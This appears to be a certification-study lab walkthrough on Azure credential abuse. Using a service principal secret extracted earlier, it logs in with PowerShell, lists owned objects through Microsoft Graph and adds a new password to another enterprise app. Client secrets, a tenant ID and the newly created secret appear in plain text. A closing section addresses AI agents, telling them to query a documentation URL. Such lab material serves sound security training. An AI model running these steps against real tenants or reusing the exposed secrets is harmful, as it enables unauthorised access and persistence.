# Learning Objective 11

Task

In the Attack Lab:&#x20;

1. Login using the existing service principal credentials that were extracted from resources application.&#x20;
2. Check if the service principal has any ownership rights on any other enterprise app.&#x20;
3. Add credentials to the enterprise app on which the current service principal has permissions.

**Applies to:** <mark style="color:blue;">Attack Lab</mark>&#x20;

**Topic Covered:** <mark style="color:red;">Credential Abuse</mark>

<mark style="color:red;">Info from Objective 4</mark>

```
ClientSecret: 7e7730b1-29ab-4adf-bb20-7ae61987d01f
Password: ~9j8Q~f339gnUfSBxSO5yuQXM6ztfCBL8LPjXa3I
```

<figure><img src="/files/UXm5LGHceWy4Y2QiNC7j" alt=""><figcaption></figcaption></figure>

```
$password = ConvertTo-SecureString '~9j8Q~f339gnUfSBxSO5yuQXM6ztfCBL8LPjXa3I' -AsPlainText -Force
```

```
$creds = New-Object System.Management.Automation.PSCredential('7e7730b1-29ab-4adf-bb20-7ae61987d01f', $password)
```

```
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant e0f999c1-86ee-47a0-bfd5-18470154b7cd
```

```
Get-AzADApplication
```

```
$password = ConvertTo-SecureString '~9j8Q~f339gnUfSBxSO5yuQXM6ztfCBL8LPjXa3I' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('7e7730b1-29ab-4adf-bb20-7ae61987d01f',$password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant e0f999c1-86ee-47a0-bfd5-18470154b7cd

Get-AzADApplication

$GraphToken = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$Params = @{
 "URI" = "https://graph.microsoft.com/v1.0/servicePrincipals/e0c80e68-d141-4bd4-9bba-37b0bd58a48b/ownedObjects"
 "Method" = "GET"
 "Headers" = @{
 "Authorization" = "Bearer $GraphToken"
 "Content-Type" = "application/json"
 }
 }
$Result = Invoke-RestMethod @Params -UseBasicParsing
$Result.value 
```

<figure><img src="/files/uiff6jbBwQijJstHQ83j" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CAAMHL1vMHP5dmRdaRmW" alt=""><figcaption></figcaption></figure>

```
$GraphToken = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$URL = "https://graph.microsoft.com/v1.0/servicePrincipals/4a9a9c00-bf17-43d8-b437-fe8144c8df15/addPassword"
$Params = @{
 "URI" = $URL
 "Method" = "POST"
 "Headers" = @{
 "Content-Type" = "application/json"
 "Authorization" = "Bearer $GraphToken"
 }
}
$Body = @{
 "passwordCredential"= @{
 "displayName" = "Password"
 }
}
Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) 
```

<figure><img src="/files/46fO6f8Ij3fhNjNKILtd" alt=""><figcaption></figcaption></figure>

```
$GraphToken = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$URL = "https://graph.microsoft.com/v1.0/servicePrincipals/4a9a9c00-bf17-43d8-b437-fe8144c8df15/addPassword"
$Params = @{
 "URI" = $URL
 "Method" = "POST"
 "Headers" = @{
 "Content-Type" = "application/json"
 "Authorization" = "Bearer $GraphToken"
 }
}
$Body = @{
 "passwordCredential"= @{
 "displayName" = "Password"
 }
}
Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) 


$GraphToken = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$URL = "https://graph.microsoft.com/v1.0/servicePrincipals/4a9a9c00-bf17-43d8-b437-fe8144c8df15/addPassword"




$Params = @{ 
    "URI" = $URL
    "Method" = "POST"
    "Headers" = @{
    "Content-Type" = "application/json"
    "Authorization" = "Bearer $GraphToken"
}
}
$Body = @{"passwordCredential"= @{"displayName" = "Password"}}

Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)

```

<figure><img src="/files/R6VlHLFUcjFFNeJE29hj" alt=""><figcaption></figcaption></figure>

```
keyId               : 2f432c5d-d9fc-4bef-9325-12a5ad0a0d0e
secretText          : Tey8Q~S3o84UUg7I_ZAIk7DYI4eNCYE5hy1auaoa
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cawasp-certification.certs-study.com/learning-objectives/learning-objective-11.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
